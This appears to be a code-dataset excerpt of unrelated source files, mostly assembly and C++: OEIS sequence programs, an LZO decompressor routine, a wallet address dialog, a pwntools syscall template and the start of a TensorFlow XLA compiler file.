text stringlengths 1 1.05M |
|---|
/*
*******************************************************************************
*
* Purpose: Print interface declaration.
* Usually used to print logs.
*
*******************************************************************************
* Copyright Oleg Kovalenko 2017.
*
* Distributed under the MIT License.
* (See accompanying file LICENSE or copy at http://opensource.org/licenses/MIT)
*******************************************************************************
*/
#ifndef BUTLER_ARDUINO_PRINT_H_
#define BUTLER_ARDUINO_PRINT_H_
/* System Includes */
#include <stddef.h>
/* Internal Includes */
namespace Butler {
namespace Arduino {
class Print {
public:
virtual ~Print() {}
virtual size_t println(const char*) = 0;
};
template<class Print_t>
class PrintAdaptor: public Print {
public:
PrintAdaptor(Print_t &print): mPrint(print) {}
size_t println(const char* v) { return mPrint.println(v); }
private:
Print_t &mPrint;
};
}}
#endif // BUTLER_ARDUINO_PRINT_H_
|
.text
.file "h264ref.vlc.symbol2uvlc.ll"
.globl symbol2uvlc
.align 16
.type symbol2uvlc,@function
symbol2uvlc: // @symbol2uvlc
// BB#0:
{
r0 = #-1
r2 = #1
r1 = r0
}
{
r3 = memw(r1 + #12)
}
{
r3 += lsr(r3, #31)
}
{
r3 = asr(r3, #1)
r4 = memw(r1 + #16)
}
{
r0 += asl(r2, r3)
}
{
r2 = and(r0, r4)
r0 = #0
}
{
r2 = setbit(r2, r3)
jumpr r31
memw(r1+#20) = r2.new
}
.Lfunc_end0:
.size symbol2uvlc, .Lfunc_end0-symbol2uvlc
.ident "clang version 3.8.0 (http://llvm.org/git/clang.git 2d49f0a0ae8366964a93e3b7b26e29679bee7160) (http://llvm.org/git/llvm.git 60bc66b44837125843b58ed3e0fd2e6bb948d839)"
.section ".note.GNU-stack","",@progbits
|
.MODEL SMALL
.STACK 100H
.DATA
;VARIABLES WILL BE DECLARED HERE
.CODE
MAIN PROC
MOV AH, 2
MOV DL, '#'
INT 21H
MOV AH,4CH
INT 21H
MAIN ENDP
;OTHER PROCEDURES (IF ANY)
END MAIN |
; A081597: Let n = 10*x + y where 0 <= y <= 9, x >= 0. Then a(n) = 6*x + y.
; 0,1,2,3,4,5,6,7,8,9,6,7,8,9,10,11,12,13,14,15,12,13,14,15,16,17,18,19,20,21,18,19,20,21,22,23,24,25,26,27,24,25,26,27,28,29,30,31,32,33,30,31,32,33,34,35,36,37,38,39,36,37,38,39,40,41,42,43,44,45,42,43,44,45,46,47,48,49,50,51,48,49,50,51,52,53,54,55,56,57,54,55,56,57,58,59,60,61,62,63,60,61,62,63,64,65,66,67,68,69,66,67,68,69,70,71,72,73,74,75,72,73,74,75,76,77,78,79,80,81,78,79,80,81,82,83,84,85,86,87,84,85,86,87,88,89,90,91,92,93,90,91,92,93,94,95,96,97,98,99,96,97,98,99,100,101,102,103,104,105,102,103,104,105,106,107,108,109,110,111,108,109,110,111,112,113,114,115,116,117,114,115,116,117,118,119,120,121,122,123,120,121,122,123,124,125,126,127,128,129,126,127,128,129,130,131,132,133,134,135,132,133,134,135,136,137,138,139,140,141,138,139,140,141,142,143,144,145,146,147,144,145,146,147,148,149,150,151,152,153
mov $2,$0
div $2,10
mul $2,2
sub $0,$2
sub $0,$2
mov $1,$0
|
; A341663: a(n) is the number of divisors of prime(n)^3 - 1.
; 2,4,6,12,16,18,10,16,16,24,24,48,16,24,16,24,8,72,72,16,32,72,16,16,36,18,24,32,60,40,32,16,64,48,48,72,36,96,8,12,16,96,96,84,36,32,192,24,16,72,32,32,60,32,36,48,48,40,144,64,48,12,64,32,72,24
seq $0,153481 ; a(n) = prime(n)^3 - 2.
seq $0,72670 ; Number of ways to write n as i*j + i + j, 0 < i <= j.
mul $0,2
add $0,2
|
; A019445: Form a permutation of the positive integers, p_1, p_2, ..., such that the average of each initial segment is an integer, using the greedy algorithm to define p_n; sequence gives p_1+..+p_n.
; 1,4,6,12,20,24,35,40,54,70,77,96,117,126,150,160,187,216,228,260,273,308,345,360,400,442,459,504,522,570,620,640,693,748,770,828,851,912,975,1000,1066,1092,1161,1232,1260,1334,1410,1440,1519,1550
mov $1,$0
add $0,1
mov $2,$1
seq $1,73869 ; a(n) = Sum_{i=0..n} A002251(i)/(n+1).
mul $2,$1
add $2,$1
add $0,$2
|
; lzo1y_s2.asm -- lzo1y_decompress_asm_safe
;
; This file is part of the LZO real-time data compression library.
;
; Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer
; Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer
; All Rights Reserved.
;
; The LZO library is free software; you can redistribute it and/or
; modify it under the terms of the GNU General Public License as
; published by the Free Software Foundation; either version 2 of
; the License, or (at your option) any later version.
;
; The LZO library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with the LZO library; see the file COPYING.
; If not, write to the Free Software Foundation, Inc.,
; 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
;
; Markus F.X.J. Oberhumer
; <markus@oberhumer.com>
; http://www.oberhumer.com/opensource/lzo/
;
; /***** DO NOT EDIT - GENERATED AUTOMATICALLY *****/
include asminit.def
public _lzo1y_decompress_asm_safe
_lzo1y_decompress_asm_safe:
db 85,87,86,83,81,82,131,236,12,252,139,116,36,40,139,124
db 36,48,189,3,0,0,0,141,70,253,3,68,36,44,137,68
db 36,4,137,248,139,84,36,52,3,2,137,4,36,49,192,49
db 219,172,60,17,118,87,44,17,60,4,115,92,141,20,7,57
db 20,36,15,130,130,2,0,0,141,20,6,57,84,36,4,15
db 130,110,2,0,0,137,193,235,110,5,255,0,0,0,141,84
db 6,18,57,84,36,4,15,130,87,2,0,0,138,30,70,8
db 219,116,230,141,68,24,18,235,31,141,180,38,0,0,0,0
db 57,116,36,4,15,130,57,2,0,0,138,6,70,60,16,115
db 127,8,192,116,215,131,192,3,141,84,7,0,57,20,36,15
db 130,37,2,0,0,141,84,6,0,57,84,36,4,15,130,16
db 2,0,0,137,193,193,232,2,33,233,139,22,131,198,4,137
db 23,131,199,4,72,117,243,243,164,138,6,70,60,16,115,64
db 141,87,3,57,20,36,15,130,238,1,0,0,193,232,2,138
db 30,141,151,255,251,255,255,141,4,152,70,41,194,59,84,36
db 48,15,130,218,1,0,0,138,2,136,7,138,66,1,136,71
db 1,138,66,2,136,71,2,1,239,233,163,0,0,0,137,246
db 60,64,114,68,137,193,193,232,2,141,87,255,33,232,138,30
db 193,233,4,141,4,152,70,41,194,73,57,232,115,76,233,181
db 0,0,0,5,255,0,0,0,141,86,3,57,84,36,4,15
db 130,126,1,0,0,138,30,70,8,219,116,231,141,76,24,33
db 49,192,235,20,141,116,38,0,60,32,15,130,200,0,0,0
db 131,224,31,116,224,141,72,2,102,139,6,141,87,255,193,232
db 2,131,198,2,41,194,57,232,114,110,59,84,36,48,15,130
db 77,1,0,0,141,4,15,57,4,36,15,130,58,1,0,0
db 137,203,193,235,2,116,17,139,2,131,194,4,137,7,131,199
db 4,75,117,243,33,233,116,9,138,2,66,136,7,71,73,117
db 247,138,70,254,33,232,15,132,196,254,255,255,141,20,7,57
db 20,36,15,130,2,1,0,0,141,20,6,57,84,36,4,15
db 130,238,0,0,0,138,14,70,136,15,71,72,117,247,138,6
db 70,233,42,255,255,255,137,246,59,84,36,48,15,130,223,0
db 0,0,141,68,15,0,57,4,36,15,130,203,0,0,0,135
db 214,243,164,137,214,235,170,129,193,255,0,0,0,141,86,3
db 57,84,36,4,15,130,169,0,0,0,138,30,70,8,219,116
db 230,141,76,11,9,235,21,144,60,16,114,44,137,193,131,224
db 8,193,224,13,131,225,7,116,225,131,193,2,102,139,6,131
db 198,2,141,151,0,192,255,255,193,232,2,116,57,41,194,233
db 38,255,255,255,141,116,38,0,141,87,2,57,20,36,114,106
db 193,232,2,138,30,141,87,255,141,4,152,70,41,194,59,84
db 36,48,114,93,138,2,136,7,138,90,1,136,95,1,131,199
db 2,233,43,255,255,255,131,249,3,15,149,192,59,60,36,119
db 57,139,84,36,40,3,84,36,44,57,214,119,38,114,29,43
db 124,36,48,139,84,36,52,137,58,247,216,131,196,12,90,89
db 91,94,95,93,195,184,1,0,0,0,235,227,184,8,0,0
db 0,235,220,184,4,0,0,0,235,213,184,5,0,0,0,235
db 206,184,6,0,0,0,235,199,144,141,180,38,0,0,0,0
end
|
aLine 0
gNew delPtr
gMoveNext delPtr, Root
aLine 1
gBne delPtr, null, 3
aLine 2
Exception EMPTY_LIST
aLine 4
nMoveRel delPtr, delPtr, 0, -164.545
gNewVPtr delNext
gMoveNext delNext, delPtr
pSetNext Root, delNext
aLine 5
gBeq delNext, null, 3
aLine 6
pSetPrev delNext, Root
aLine 8
pDeleteNext delPtr
pDeletePrev delPtr
nDelete delPtr
gDelete delPtr
gDelete delNext
aLine 6
aStd
Halt |
; A195037: 17 times triangular numbers.
; 0,17,51,102,170,255,357,476,612,765,935,1122,1326,1547,1785,2040,2312,2601,2907,3230,3570,3927,4301,4692,5100,5525,5967,6426,6902,7395,7905,8432,8976,9537,10115,10710,11322,11951,12597,13260,13940,14637,15351,16082,16830
sub $1,$0
bin $1,2
mul $1,17
mov $0,$1
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2018 The PIVX developers
// Copyright (c) 2018 The Healcap Core developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "editaddressdialog.h"
#include "ui_editaddressdialog.h"
#include "addresstablemodel.h"
#include "guiutil.h"
#include <QDataWidgetMapper>
#include <QMessageBox>
EditAddressDialog::EditAddressDialog(Mode mode, QWidget* parent) : QDialog(parent),
ui(new Ui::EditAddressDialog),
mapper(0),
mode(mode),
model(0)
{
ui->setupUi(this);
GUIUtil::setupAddressWidget(ui->addressEdit, this);
switch (mode) {
case NewReceivingAddress:
setWindowTitle(tr("New receiving address"));
ui->addressEdit->setEnabled(false);
break;
case NewSendingAddress:
setWindowTitle(tr("New sending address"));
break;
case EditReceivingAddress:
setWindowTitle(tr("Edit receiving address"));
ui->addressEdit->setEnabled(false);
break;
case EditSendingAddress:
setWindowTitle(tr("Edit sending address"));
break;
}
mapper = new QDataWidgetMapper(this);
mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);
}
EditAddressDialog::~EditAddressDialog()
{
delete ui;
}
void EditAddressDialog::setModel(AddressTableModel* model)
{
this->model = model;
if (!model)
return;
mapper->setModel(model);
mapper->addMapping(ui->labelEdit, AddressTableModel::Label);
mapper->addMapping(ui->addressEdit, AddressTableModel::Address);
}
void EditAddressDialog::loadRow(int row)
{
mapper->setCurrentIndex(row);
}
bool EditAddressDialog::saveCurrentRow()
{
if (!model)
return false;
switch (mode) {
case NewReceivingAddress:
case NewSendingAddress:
address = model->addRow(
mode == NewSendingAddress ? AddressTableModel::Send : AddressTableModel::Receive,
ui->labelEdit->text(),
ui->addressEdit->text());
break;
case EditReceivingAddress:
case EditSendingAddress:
if (mapper->submit()) {
address = ui->addressEdit->text();
}
break;
}
return !address.isEmpty();
}
void EditAddressDialog::accept()
{
if (!model)
return;
if (!saveCurrentRow()) {
switch (model->getEditStatus()) {
case AddressTableModel::OK:
// Failed with unknown reason. Just reject.
break;
case AddressTableModel::NO_CHANGES:
// No changes were made during edit operation. Just reject.
break;
case AddressTableModel::INVALID_ADDRESS:
QMessageBox::warning(this, windowTitle(),
tr("The entered address \"%1\" is not a valid Healcap address.").arg(ui->addressEdit->text()),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::DUPLICATE_ADDRESS:
QMessageBox::warning(this, windowTitle(),
tr("The entered address \"%1\" is already in the address book.").arg(ui->addressEdit->text()),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::WALLET_UNLOCK_FAILURE:
QMessageBox::critical(this, windowTitle(),
tr("Could not unlock wallet."),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::KEY_GENERATION_FAILURE:
QMessageBox::critical(this, windowTitle(),
tr("New key generation failed."),
QMessageBox::Ok, QMessageBox::Ok);
break;
}
return;
}
QDialog::accept();
}
QString EditAddressDialog::getAddress() const
{
return address;
}
void EditAddressDialog::setAddress(const QString& address)
{
this->address = address;
ui->addressEdit->setText(address);
}
|
segment .text
align 4
pi:
push ebp
mov ebp, esp
sub esp, 4
push dword 314
push dword [esp]
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
align 4
global _main:function
_main:
align 4
xpl:
push ebp
mov ebp, esp
sub esp, 4
push dword 0
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
call pi
add esp, 0
push eax
call printi
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
extern argc
extern argv
extern envp
extern readi
extern readd
extern printi
extern prints
extern printd
extern println
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.6 #12419 (Linux)
;--------------------------------------------------------
; Processed by Z88DK
;--------------------------------------------------------
EXTERN __divschar
EXTERN __divschar_callee
EXTERN __divsint
EXTERN __divsint_callee
EXTERN __divslong
EXTERN __divslong_callee
EXTERN __divslonglong
EXTERN __divslonglong_callee
EXTERN __divsuchar
EXTERN __divsuchar_callee
EXTERN __divuchar
EXTERN __divuchar_callee
EXTERN __divuint
EXTERN __divuint_callee
EXTERN __divulong
EXTERN __divulong_callee
EXTERN __divulonglong
EXTERN __divulonglong_callee
EXTERN __divuschar
EXTERN __divuschar_callee
EXTERN __modschar
EXTERN __modschar_callee
EXTERN __modsint
EXTERN __modsint_callee
EXTERN __modslong
EXTERN __modslong_callee
EXTERN __modslonglong
EXTERN __modslonglong_callee
EXTERN __modsuchar
EXTERN __modsuchar_callee
EXTERN __moduchar
EXTERN __moduchar_callee
EXTERN __moduint
EXTERN __moduint_callee
EXTERN __modulong
EXTERN __modulong_callee
EXTERN __modulonglong
EXTERN __modulonglong_callee
EXTERN __moduschar
EXTERN __moduschar_callee
EXTERN __mulint
EXTERN __mulint_callee
EXTERN __mullong
EXTERN __mullong_callee
EXTERN __mullonglong
EXTERN __mullonglong_callee
EXTERN __mulschar
EXTERN __mulschar_callee
EXTERN __mulsuchar
EXTERN __mulsuchar_callee
EXTERN __muluchar
EXTERN __muluchar_callee
EXTERN __muluschar
EXTERN __muluschar_callee
EXTERN __rlslonglong
EXTERN __rlslonglong_callee
EXTERN __rlulonglong
EXTERN __rlulonglong_callee
EXTERN __rrslonglong
EXTERN __rrslonglong_callee
EXTERN __rrulonglong
EXTERN __rrulonglong_callee
EXTERN ___sdcc_call_hl
EXTERN ___sdcc_call_iy
EXTERN ___sdcc_enter_ix
EXTERN banked_call
EXTERN _banked_ret
EXTERN ___fs2schar
EXTERN ___fs2schar_callee
EXTERN ___fs2sint
EXTERN ___fs2sint_callee
EXTERN ___fs2slong
EXTERN ___fs2slong_callee
EXTERN ___fs2slonglong
EXTERN ___fs2slonglong_callee
EXTERN ___fs2uchar
EXTERN ___fs2uchar_callee
EXTERN ___fs2uint
EXTERN ___fs2uint_callee
EXTERN ___fs2ulong
EXTERN ___fs2ulong_callee
EXTERN ___fs2ulonglong
EXTERN ___fs2ulonglong_callee
EXTERN ___fsadd
EXTERN ___fsadd_callee
EXTERN ___fsdiv
EXTERN ___fsdiv_callee
EXTERN ___fseq
EXTERN ___fseq_callee
EXTERN ___fsgt
EXTERN ___fsgt_callee
EXTERN ___fslt
EXTERN ___fslt_callee
EXTERN ___fsmul
EXTERN ___fsmul_callee
EXTERN ___fsneq
EXTERN ___fsneq_callee
EXTERN ___fssub
EXTERN ___fssub_callee
EXTERN ___schar2fs
EXTERN ___schar2fs_callee
EXTERN ___sint2fs
EXTERN ___sint2fs_callee
EXTERN ___slong2fs
EXTERN ___slong2fs_callee
EXTERN ___slonglong2fs
EXTERN ___slonglong2fs_callee
EXTERN ___uchar2fs
EXTERN ___uchar2fs_callee
EXTERN ___uint2fs
EXTERN ___uint2fs_callee
EXTERN ___ulong2fs
EXTERN ___ulong2fs_callee
EXTERN ___ulonglong2fs
EXTERN ___ulonglong2fs_callee
EXTERN ____sdcc_2_copy_src_mhl_dst_deix
EXTERN ____sdcc_2_copy_src_mhl_dst_bcix
EXTERN ____sdcc_4_copy_src_mhl_dst_deix
EXTERN ____sdcc_4_copy_src_mhl_dst_bcix
EXTERN ____sdcc_4_copy_src_mhl_dst_mbc
EXTERN ____sdcc_4_ldi_nosave_bc
EXTERN ____sdcc_4_ldi_save_bc
EXTERN ____sdcc_4_push_hlix
EXTERN ____sdcc_4_push_mhl
EXTERN ____sdcc_lib_setmem_hl
EXTERN ____sdcc_ll_add_de_bc_hl
EXTERN ____sdcc_ll_add_de_bc_hlix
EXTERN ____sdcc_ll_add_de_hlix_bc
EXTERN ____sdcc_ll_add_de_hlix_bcix
EXTERN ____sdcc_ll_add_deix_bc_hl
EXTERN ____sdcc_ll_add_deix_hlix
EXTERN ____sdcc_ll_add_hlix_bc_deix
EXTERN ____sdcc_ll_add_hlix_deix_bc
EXTERN ____sdcc_ll_add_hlix_deix_bcix
EXTERN ____sdcc_ll_asr_hlix_a
EXTERN ____sdcc_ll_asr_mbc_a
EXTERN ____sdcc_ll_copy_src_de_dst_hlix
EXTERN ____sdcc_ll_copy_src_de_dst_hlsp
EXTERN ____sdcc_ll_copy_src_deix_dst_hl
EXTERN ____sdcc_ll_copy_src_deix_dst_hlix
EXTERN ____sdcc_ll_copy_src_deixm_dst_hlsp
EXTERN ____sdcc_ll_copy_src_desp_dst_hlsp
EXTERN ____sdcc_ll_copy_src_hl_dst_de
EXTERN ____sdcc_ll_copy_src_hlsp_dst_de
EXTERN ____sdcc_ll_copy_src_hlsp_dst_deixm
EXTERN ____sdcc_ll_lsl_hlix_a
EXTERN ____sdcc_ll_lsl_mbc_a
EXTERN ____sdcc_ll_lsr_hlix_a
EXTERN ____sdcc_ll_lsr_mbc_a
EXTERN ____sdcc_ll_push_hlix
EXTERN ____sdcc_ll_push_mhl
EXTERN ____sdcc_ll_sub_de_bc_hl
EXTERN ____sdcc_ll_sub_de_bc_hlix
EXTERN ____sdcc_ll_sub_de_hlix_bc
EXTERN ____sdcc_ll_sub_de_hlix_bcix
EXTERN ____sdcc_ll_sub_deix_bc_hl
EXTERN ____sdcc_ll_sub_deix_hlix
EXTERN ____sdcc_ll_sub_hlix_bc_deix
EXTERN ____sdcc_ll_sub_hlix_deix_bc
EXTERN ____sdcc_ll_sub_hlix_deix_bcix
EXTERN ____sdcc_load_debc_deix
EXTERN ____sdcc_load_dehl_deix
EXTERN ____sdcc_load_debc_mhl
EXTERN ____sdcc_load_hlde_mhl
EXTERN ____sdcc_store_dehl_bcix
EXTERN ____sdcc_store_debc_hlix
EXTERN ____sdcc_store_debc_mhl
EXTERN ____sdcc_cpu_pop_ei
EXTERN ____sdcc_cpu_pop_ei_jp
EXTERN ____sdcc_cpu_push_di
EXTERN ____sdcc_outi
EXTERN ____sdcc_outi_128
EXTERN ____sdcc_outi_256
EXTERN ____sdcc_ldi
EXTERN ____sdcc_ldi_128
EXTERN ____sdcc_ldi_256
EXTERN ____sdcc_4_copy_srcd_hlix_dst_deix
EXTERN ____sdcc_4_and_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_or_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_or_src_dehl_dst_bcix
EXTERN ____sdcc_4_xor_src_dehl_dst_bcix
EXTERN ____sdcc_4_and_src_dehl_dst_bcix
EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_or_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_cpl_src_mhl_dst_debc
EXTERN ____sdcc_4_xor_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_or_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_debc_hlix_dst_debc
EXTERN ____sdcc_4_or_src_debc_hlix_dst_debc
EXTERN ____sdcc_4_xor_src_debc_hlix_dst_debc
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
GLOBAL _am9511_acosh
;--------------------------------------------------------
; Externals used
;--------------------------------------------------------
GLOBAL _hypot_callee
GLOBAL _ldexp_callee
GLOBAL _frexp_callee
GLOBAL _sqrt_fastcall
GLOBAL _sqr_fastcall
GLOBAL _div2_fastcall
GLOBAL _mul2_fastcall
GLOBAL _am9511_modf
GLOBAL _am9511_fmod
GLOBAL _am9511_round
GLOBAL _floor_fastcall
GLOBAL _fabs_fastcall
GLOBAL _ceil_fastcall
GLOBAL _am9511_exp10
GLOBAL _am9511_exp2
GLOBAL _am9511_log2
GLOBAL _pow_callee
GLOBAL _exp_fastcall
GLOBAL _log10_fastcall
GLOBAL _log_fastcall
GLOBAL _am9511_atanh
GLOBAL _am9511_asinh
GLOBAL _am9511_tanh
GLOBAL _am9511_cosh
GLOBAL _am9511_sinh
GLOBAL _am9511_atan2
GLOBAL _atan_fastcall
GLOBAL _acos_fastcall
GLOBAL _asin_fastcall
GLOBAL _tan_fastcall
GLOBAL _cos_fastcall
GLOBAL _sin_fastcall
GLOBAL _exp10_fastcall
GLOBAL _exp10
GLOBAL _mul10u_fastcall
GLOBAL _mul10u
GLOBAL _mul2
GLOBAL _div2
GLOBAL _sqr
GLOBAL _fam9511_f32_fastcall
GLOBAL _fam9511_f32
GLOBAL _f32_fam9511_fastcall
GLOBAL _f32_fam9511
GLOBAL _isunordered_callee
GLOBAL _isunordered
GLOBAL _islessgreater_callee
GLOBAL _islessgreater
GLOBAL _islessequal_callee
GLOBAL _islessequal
GLOBAL _isless_callee
GLOBAL _isless
GLOBAL _isgreaterequal_callee
GLOBAL _isgreaterequal
GLOBAL _isgreater_callee
GLOBAL _isgreater
GLOBAL _fma_callee
GLOBAL _fma
GLOBAL _fmin_callee
GLOBAL _fmin
GLOBAL _fmax_callee
GLOBAL _fmax
GLOBAL _fdim_callee
GLOBAL _fdim
GLOBAL _nexttoward_callee
GLOBAL _nexttoward
GLOBAL _nextafter_callee
GLOBAL _nextafter
GLOBAL _nan_fastcall
GLOBAL _nan
GLOBAL _copysign_callee
GLOBAL _copysign
GLOBAL _remquo_callee
GLOBAL _remquo
GLOBAL _remainder_callee
GLOBAL _remainder
GLOBAL _fmod_callee
GLOBAL _fmod
GLOBAL _modf_callee
GLOBAL _modf
GLOBAL _trunc_fastcall
GLOBAL _trunc
GLOBAL _lround_fastcall
GLOBAL _lround
GLOBAL _round_fastcall
GLOBAL _round
GLOBAL _lrint_fastcall
GLOBAL _lrint
GLOBAL _rint_fastcall
GLOBAL _rint
GLOBAL _nearbyint_fastcall
GLOBAL _nearbyint
GLOBAL _floor
GLOBAL _ceil
GLOBAL _tgamma_fastcall
GLOBAL _tgamma
GLOBAL _lgamma_fastcall
GLOBAL _lgamma
GLOBAL _erfc_fastcall
GLOBAL _erfc
GLOBAL _erf_fastcall
GLOBAL _erf
GLOBAL _cbrt_fastcall
GLOBAL _cbrt
GLOBAL _sqrt
GLOBAL _pow
GLOBAL _hypot
GLOBAL _fabs
GLOBAL _logb_fastcall
GLOBAL _logb
GLOBAL _log2_fastcall
GLOBAL _log2
GLOBAL _log1p_fastcall
GLOBAL _log1p
GLOBAL _log10
GLOBAL _log
GLOBAL _scalbln_callee
GLOBAL _scalbln
GLOBAL _scalbn_callee
GLOBAL _scalbn
GLOBAL _ldexp
GLOBAL _ilogb_fastcall
GLOBAL _ilogb
GLOBAL _frexp
GLOBAL _expm1_fastcall
GLOBAL _expm1
GLOBAL _exp2_fastcall
GLOBAL _exp2
GLOBAL _exp
GLOBAL _tanh_fastcall
GLOBAL _tanh
GLOBAL _sinh_fastcall
GLOBAL _sinh
GLOBAL _cosh_fastcall
GLOBAL _cosh
GLOBAL _atanh_fastcall
GLOBAL _atanh
GLOBAL _asinh_fastcall
GLOBAL _asinh
GLOBAL _acosh_fastcall
GLOBAL _acosh
GLOBAL _tan
GLOBAL _sin
GLOBAL _cos
GLOBAL _atan2_callee
GLOBAL _atan2
GLOBAL _atan
GLOBAL _asin
GLOBAL _acos
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
SECTION bss_compiler
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
IF 0
; .area _INITIALIZED removed by z88dk
ENDIF
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
SECTION IGNORE
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
SECTION code_crt_init
;--------------------------------------------------------
; Home
;--------------------------------------------------------
SECTION IGNORE
;--------------------------------------------------------
; code
;--------------------------------------------------------
SECTION code_compiler
; ---------------------------------
; Function am9511_acosh
; ---------------------------------
_am9511_acosh:
push ix
ld ix,0
add ix,sp
push af
push af
push af
push af
ld (ix-4),l
ld (ix-3),h
ld (ix-2),e
ld (ix-1),d
call _mul2_fastcall
ex (sp), hl
ld (ix-6),e
ld (ix-5),d
ld l,(ix-4)
ld h,(ix-3)
ld e,(ix-2)
ld d,(ix-1)
call _sqr_fastcall
ld bc,0x3f80
push bc
ld bc,0x0000
push bc
push de
push hl
call ___fssub_callee
call _sqrt_fastcall
push de
push hl
ld l,(ix-2)
ld h,(ix-1)
push hl
ld l,(ix-4)
ld h,(ix-3)
push hl
call ___fsadd_callee
push de
push hl
ld hl,0x3f80
push hl
ld hl,0x0000
push hl
call ___fsdiv_callee
push de
push hl
ld l,(ix-6)
ld h,(ix-5)
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
call ___fssub_callee
call _log_fastcall
ld sp, ix
pop ix
ret
SECTION IGNORE
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="name"/>
<%docstring>
Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.
Arguments:
name(char): name
</%docstring>
${syscall('SYS_mq_unlink', name)}
|
; A163523: a(n) = tau(n) + omega(n).
; 1,3,3,4,3,6,3,5,4,6,3,8,3,6,6,6,3,8,3,8,6,6,3,10,4,6,5,8,3,11,3,7,6,6,6,11,3,6,6,10,3,11,3,8,8,6,3,12,4,8,6,8,3,10,6,10,6,6,3,15,3,6,8,8,6,11,3,8,6,11,3,14,3,6,8,8,6,11,3,12,6,6,3,15,6,6,6,10,3,15,6,8,6,6,6,14,3,8,8,11
mov $1,$0
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
seq $1,1221 ; Number of distinct primes dividing n (also called omega(n)).
add $1,$0
mov $0,$1
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/service/cpu/cpu_compiler.h"
#include <stddef.h>
#include <string.h>
#include <functional>
#include <map>
#include <memory>
#include <stack>
#include <string>
#include <tuple>
#include <utility>
#include <vector>
// IWYU pragma: no_include "llvm/Config/Disassemblers.def.inc"
// IWYU pragma: no_include "llvm/Config/Targets.def.inc"
#include "absl/base/call_once.h"
#include "absl/container/flat_hash_map.h"
#include "absl/memory/memory.h"
#include "absl/strings/str_cat.h"
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/Triple.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Mangler.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Verifier.h"
#include "llvm/MC/TargetRegistry.h"
#include "llvm/Object/ObjectFile.h"
#include "llvm/Support/CodeGen.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Error.h"
#include "llvm/Support/TargetSelect.h"
#include "llvm/Target/TargetMachine.h"
#include "llvm/Target/TargetOptions.h"
#include "mlir/Conversion/AffineToStandard/AffineToStandard.h" // from @llvm-project
#include "mlir/Conversion/ArithmeticToLLVM/ArithmeticToLLVM.h" // from @llvm-project
#include "mlir/Conversion/BufferizationToMemRef/BufferizationToMemRef.h" // from @llvm-project
#include "mlir/Conversion/FuncToLLVM/ConvertFuncToLLVMPass.h" // from @llvm-project
#include "mlir/Conversion/MathToLLVM/MathToLLVM.h" // from @llvm-project
#include "mlir/Conversion/MemRefToLLVM/MemRefToLLVM.h" // from @llvm-project
#include "mlir/Conversion/ReconcileUnrealizedCasts/ReconcileUnrealizedCasts.h" // from @llvm-project
